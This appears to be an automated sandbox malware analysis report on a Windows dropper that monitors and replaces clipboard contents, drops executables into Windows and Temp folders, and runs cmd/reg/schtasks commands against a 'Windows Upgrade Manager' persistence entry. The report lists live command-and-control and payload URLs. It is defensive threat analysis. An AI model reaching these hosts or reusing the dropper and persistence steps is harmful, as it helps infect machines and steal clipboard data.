Source: 2374323789.exe, 00000003.00000003.1479100404.0000000000708000.00000004.00000020.00020000.00000000.sdmp, 2374323789.exe, 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 2374323789.exe, 00000003.00000000.1448282216.0000000000410000.00000002.00000001.01000000.00000006.sdmp, sysnldcvmr.exe, 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysnldcvmr.exe, 00000004.00000003.1630375617.0000000004561000.00000004.00000020.00020000.00000000.sdmp, sysnldcvmr.exe, 00000004.00000000.1479054987.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysnldcvmr.exe, 00000007.00000000.1604584854.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysnldcvmr.exe, 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmp, 2693731851.exe, 0000000E.00000002.1683491729.0000000000410000.00000002.00000001.01000000.0000000A.sdmp, 2693731851.exe, 0000000E.00000000.1651816299.0000000000410000.00000002.00000001.01000000.0000000A.sdmp, 2374323789.exe.0.dr, sysnldcvmr.exe.3.dr, 2693731851.exe.4.dr, newtpp[1].exe.0.dr	String found in binary or memory: http://185.215.113.66/
Source: sysnldcvmr.exe, 00000004.00000002.1688257376.00000000006E9000.00000004.00000020.00020000.00000000.sdmp, sysnldcvmr.exe, 00000004.00000002.1688257376.000000000069E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1
Source: sysnldcvmr.exe, 00000004.00000002.1688257376.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1y
Source: sysnldcvmr.exe, 00000004.00000002.1688257376.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1~
Source: sysnldcvmr.exe, 00000004.00000002.1688593287.00000000021DB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/2
Source: sysnldcvmr.exe, 00000004.00000002.1688257376.000000000075B000.00000004.00000020.00020000.00000000.sdmp, sysnldcvmr.exe, 00000004.00000002.1688257376.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/2?
Source: sysnldcvmr.exe, 00000004.00000002.1688257376.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/2C:
Source: sysnldcvmr.exe, 00000004.00000002.1688257376.0000000000733000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/2IIC:
Source: 2374323789.exe, 00000003.00000003.1479100404.0000000000708000.00000004.00000020.00020000.00000000.sdmp, 2374323789.exe, 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 2374323789.exe, 00000003.00000000.1448282216.0000000000410000.00000002.00000001.01000000.00000006.sdmp, sysnldcvmr.exe, 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysnldcvmr.exe, 00000004.00000003.1630375617.0000000004561000.00000004.00000020.00020000.00000000.sdmp, sysnldcvmr.exe, 00000004.00000000.1479054987.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysnldcvmr.exe, 00000007.00000000.1604584854.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysnldcvmr.exe, 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmp, 2693731851.exe, 0000000E.00000002.1683491729.0000000000410000.00000002.00000001.01000000.0000000A.sdmp, 2693731851.exe, 0000000E.00000000.1651816299.0000000000410000.00000002.00000001.01000000.0000000A.sdmp, 2374323789.exe.0.dr, sysnldcvmr.exe.3.dr, 2693731851.exe.4.dr, newtpp[1].exe.0.dr	String found in binary or memory: http://185.215.113.66/http://91.202.233.141/12345%s%s%s:Zone.Identifier%userprofile%%windir%%s
Source: 2374323789.exe, 00000003.00000003.1479100404.0000000000708000.00000004.00000020.00020000.00000000.sdmp, 2374323789.exe, 00000003.00000002.1489419865.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 2374323789.exe, 00000003.00000000.1448282216.0000000000410000.00000002.00000001.01000000.00000006.sdmp, sysnldcvmr.exe, 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysnldcvmr.exe, 00000004.00000003.1630375617.0000000004561000.00000004.00000020.00020000.00000000.sdmp, sysnldcvmr.exe, 00000004.00000000.1479054987.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysnldcvmr.exe, 00000007.00000000.1604584854.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysnldcvmr.exe, 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmp, 2693731851.exe, 0000000E.00000002.1683491729.0000000000410000.00000002.00000001.01000000.0000000A.sdmp, 2693731851.exe, 0000000E.00000000.1651816299.0000000000410000.00000002.00000001.01000000.0000000A.sdmp, 2374323789.exe.0.dr, sysnldcvmr.exe.3.dr, 2693731851.exe.4.dr, newtpp[1].exe.0.dr	String found in binary or memory: http://91.202.233.141/
Source: sysnldcvmr.exe, 00000004.00000002.1688257376.00000000006E9000.00000004.00000020.00020000.00000000.sdmp, sysnldcvmr.exe, 00000004.00000002.1688257376.000000000069E000.00000004.00000020.00020000.00000000.sdmp, sysnldcvmr.exe, 00000004.00000002.1688560492.00000000020D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/gonup
Source: sysnldcvmr.exe, 00000004.00000002.1688257376.000000000069E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/gonup1
Source: sysnldcvmr.exe, 00000004.00000002.1690356108.00000000057AD000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/gonup8
Source: sysnldcvmr.exe, 00000004.00000002.1688257376.000000000069E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.141/gonupll9z
Source: newtpp[1].exe.0.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: newtpp[1].exe.0.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: LM94OE0VNK.exe, 00000000.00000002.1476552033.000000000089F000.00000004.00000020.00020000.00000000.sdmp, LM94OE0VNK.exe, 00000000.00000002.1476552033.00000000008B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twizt.net/
Source: LM94OE0VNK.exe, 00000000.00000002.1476552033.00000000008B2000.00000004.00000020.00020000.00000000.sdmp, LM94OE0VNK.exe, 00000000.00000002.1476552033.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twizt.net/newtpp.exe
Source: LM94OE0VNK.exe	String found in binary or memory: http://twizt.net/newtpp.exeP0
Source: LM94OE0VNK.exe	String found in binary or memory: http://twizt.net/peinstall.php
Source: LM94OE0VNK.exe	String found in binary or memory: http://twizt.net/peinstall.php%temp%%s
Source: LM94OE0VNK.exe, 00000000.00000002.1476552033.000000000088A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twizt.net/peinstall.phpP
Source: LM94OE0VNK.exe, 00000000.00000002.1476552033.000000000089F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twizt.net/peinstall.phpp
Source: LM94OE0VNK.exe, 00000000.00000002.1476552033.000000000088A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twizt.net/peinstall.phpvPO
Source: LM94OE0VNK.exe, 00000000.00000002.1476552033.000000000089F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twizt.net/peinstall.phpystem32

Source: C:\Users\user\AppData\Local\Temp\2374323789.exe

Code function: 3_2_00405970 GetWindowLongW,SetClipboardViewer,SetWindowLongW,SetWindowLongW,SendMessageA,IsClipboardFormatAvailable,IsClipboardFormatAvailable,IsClipboardFormatAvailable,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,SendMessageA,RegisterRawInputDevices,ChangeClipboardChain,DefWindowProcA,

3_2_00405970

Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Code function: 3_2_00404970 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	3_2_00404970
Source: C:\Windows\sysnldcvmr.exe	Code function: 4_2_00404970 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	4_2_00404970
Source: C:\Windows\sysnldcvmr.exe	Code function: 7_2_00404970 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	7_2_00404970

Source: C:\Users\user\AppData\Local\Temp\2374323789.exe

3_2_00405970

Source: C:\Users\user\AppData\Local\Temp\2374323789.exe

3_2_00405970

Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Code function: 3_2_0040D4A0 NtQuerySystemTime,RtlTimeToSecondsSince1980,	3_2_0040D4A0
Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Code function: 3_2_0040F0B1 NtQueryVirtualMemory,	3_2_0040F0B1
Source: C:\Windows\sysnldcvmr.exe	Code function: 4_2_0040D4A0 NtQuerySystemTime,RtlTimeToSecondsSince1980,	4_2_0040D4A0
Source: C:\Windows\sysnldcvmr.exe	Code function: 4_2_0040F0B1 NtQueryVirtualMemory,	4_2_0040F0B1
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Code function: 6_2_00007FF7BFFE0685 NtQuerySystemInformation,	6_2_00007FF7BFFE0685
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Code function: 6_2_00007FF7BFFE0690 NtQuerySystemInformation,	6_2_00007FF7BFFE0690
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Code function: 6_2_00007FF7BFFE0F11 NtQuerySystemInformation,	6_2_00007FF7BFFE0F11
Source: C:\Windows\sysnldcvmr.exe	Code function: 7_2_0040D4A0 NtQuerySystemTime,RtlTimeToSecondsSince1980,	7_2_0040D4A0
Source: C:\Windows\sysnldcvmr.exe	Code function: 7_2_0040F0B1 NtQueryVirtualMemory,	7_2_0040F0B1

Source: C:\Users\user\AppData\Local\Temp\2374323789.exe

File created: C:\Windows\sysnldcvmr.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Code function: 3_2_0040EE74	3_2_0040EE74
Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Code function: 3_2_00404090	3_2_00404090
Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Code function: 3_2_00407B49	3_2_00407B49
Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Code function: 3_2_00404970	3_2_00404970
Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Code function: 3_2_0040A500	3_2_0040A500
Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Code function: 3_2_00407B20	3_2_00407B20
Source: C:\Windows\sysnldcvmr.exe	Code function: 4_2_0040EE74	4_2_0040EE74
Source: C:\Windows\sysnldcvmr.exe	Code function: 4_2_00404090	4_2_00404090
Source: C:\Windows\sysnldcvmr.exe	Code function: 4_2_00407B49	4_2_00407B49
Source: C:\Windows\sysnldcvmr.exe	Code function: 4_2_00404970	4_2_00404970
Source: C:\Windows\sysnldcvmr.exe	Code function: 4_2_0040A500	4_2_0040A500
Source: C:\Windows\sysnldcvmr.exe	Code function: 4_2_00407B20	4_2_00407B20
Source: C:\Windows\sysnldcvmr.exe	Code function: 7_2_0040EE74	7_2_0040EE74
Source: C:\Windows\sysnldcvmr.exe	Code function: 7_2_00404090	7_2_00404090
Source: C:\Windows\sysnldcvmr.exe	Code function: 7_2_00407B49	7_2_00407B49
Source: C:\Windows\sysnldcvmr.exe	Code function: 7_2_00404970	7_2_00404970
Source: C:\Windows\sysnldcvmr.exe	Code function: 7_2_0040A500	7_2_0040A500
Source: C:\Windows\sysnldcvmr.exe	Code function: 7_2_00407B20	7_2_00407B20

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\240016073.exe 5850892F67F85991B31FC90F62C8B7791AFEB3C08AE1877D857AA2B59471A2EA

Source: 240016073.exe.4.dr

Static PE information: No import functions for PE file found

Source: LM94OE0VNK.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f

Source: classification engine

Classification label: mal100.evad.winEXE@20/10@1/7

Source: C:\Users\user\AppData\Local\Temp\2374323789.exe

Code function: 3_2_00406BC0 Sleep,GetModuleFileNameW,GetVolumeInformationW,GetDiskFreeSpaceExW,_aulldiv,wsprintfW,wsprintfW,wsprintfW,Sleep,ExitThread,

3_2_00406BC0

Source: C:\Users\user\AppData\Local\Temp\2374323789.exe

Code function: 3_2_00406460 CoInitialize,CoCreateInstance,wsprintfW,

3_2_00406460

Source: C:\Users\user\Desktop\LM94OE0VNK.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\newtpp[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1200:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3096:120:WilError_03
Source: C:\Windows\sysnldcvmr.exe	Mutant created: \Sessions\1\BaseNamedObjects\753f85d83d

Source: C:\Users\user\Desktop\LM94OE0VNK.exe

File created: C:\Users\user\AppData\Local\Temp\2374323789.exe

Jump to behavior

Source: LM94OE0VNK.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\240016073.exe

System information queried: HandleInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\240016073.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\LM94OE0VNK.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: LM94OE0VNK.exe

ReversingLabs: Detection: 52%

Source: unknown	Process created: C:\Users\user\Desktop\LM94OE0VNK.exe "C:\Users\user\Desktop\LM94OE0VNK.exe"
Source: C:\Users\user\Desktop\LM94OE0VNK.exe	Process created: C:\Users\user\AppData\Local\Temp\2374323789.exe C:\Users\user\AppData\Local\Temp\2374323789.exe
Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Process created: C:\Windows\sysnldcvmr.exe C:\Windows\sysnldcvmr.exe
Source: C:\Windows\sysnldcvmr.exe	Process created: C:\Users\user\AppData\Local\Temp\240016073.exe C:\Users\user\AppData\Local\Temp\240016073.exe
Source: unknown	Process created: C:\Windows\sysnldcvmr.exe "C:\Windows\sysnldcvmr.exe"
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /delete /f /tn "Windows Upgrade Manager"
Source: C:\Windows\sysnldcvmr.exe	Process created: C:\Users\user\AppData\Local\Temp\2693731851.exe C:\Users\user\AppData\Local\Temp\2693731851.exe
Source: C:\Users\user\Desktop\LM94OE0VNK.exe	Process created: C:\Users\user\AppData\Local\Temp\2374323789.exe C:\Users\user\AppData\Local\Temp\2374323789.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Process created: C:\Windows\sysnldcvmr.exe C:\Windows\sysnldcvmr.exe	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Process created: C:\Users\user\AppData\Local\Temp\240016073.exe C:\Users\user\AppData\Local\Temp\240016073.exe	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Process created: C:\Users\user\AppData\Local\Temp\2693731851.exe C:\Users\user\AppData\Local\Temp\2693731851.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /delete /f /tn "Windows Upgrade Manager"	Jump to behavior

Source: C:\Users\user\Desktop\LM94OE0VNK.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LM94OE0VNK.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\LM94OE0VNK.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\LM94OE0VNK.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\LM94OE0VNK.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\LM94OE0VNK.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\LM94OE0VNK.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\LM94OE0VNK.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\LM94OE0VNK.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LM94OE0VNK.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LM94OE0VNK.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\LM94OE0VNK.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\LM94OE0VNK.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LM94OE0VNK.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\LM94OE0VNK.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LM94OE0VNK.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LM94OE0VNK.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LM94OE0VNK.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LM94OE0VNK.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\240016073.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\sysnldcvmr.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2693731851.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2693731851.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2693731851.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2693731851.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2693731851.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2693731851.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\LM94OE0VNK.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\LM94OE0VNK.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9625_none_508ef7e4bcbbe589\MSVCR90.dll

Jump to behavior

Source: LM94OE0VNK.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: LM94OE0VNK.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: LM94OE0VNK.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: LM94OE0VNK.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: LM94OE0VNK.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: LM94OE0VNK.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\LM94OE0VNK.exe

Code function: 0_2_009C1A11 push ecx; ret

0_2_009C1A24

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Users\user\AppData\Local\Temp\2374323789.exe

Executable created and started: C:\Windows\sysnldcvmr.exe

Jump to behavior

Source: C:\Windows\sysnldcvmr.exe	File created: C:\Users\user\AppData\Local\Temp\240016073.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LM94OE0VNK.exe	File created: C:\Users\user\AppData\Local\Temp\2374323789.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\2374323789.exe	File created: C:\Windows\sysnldcvmr.exe	Jump to dropped file
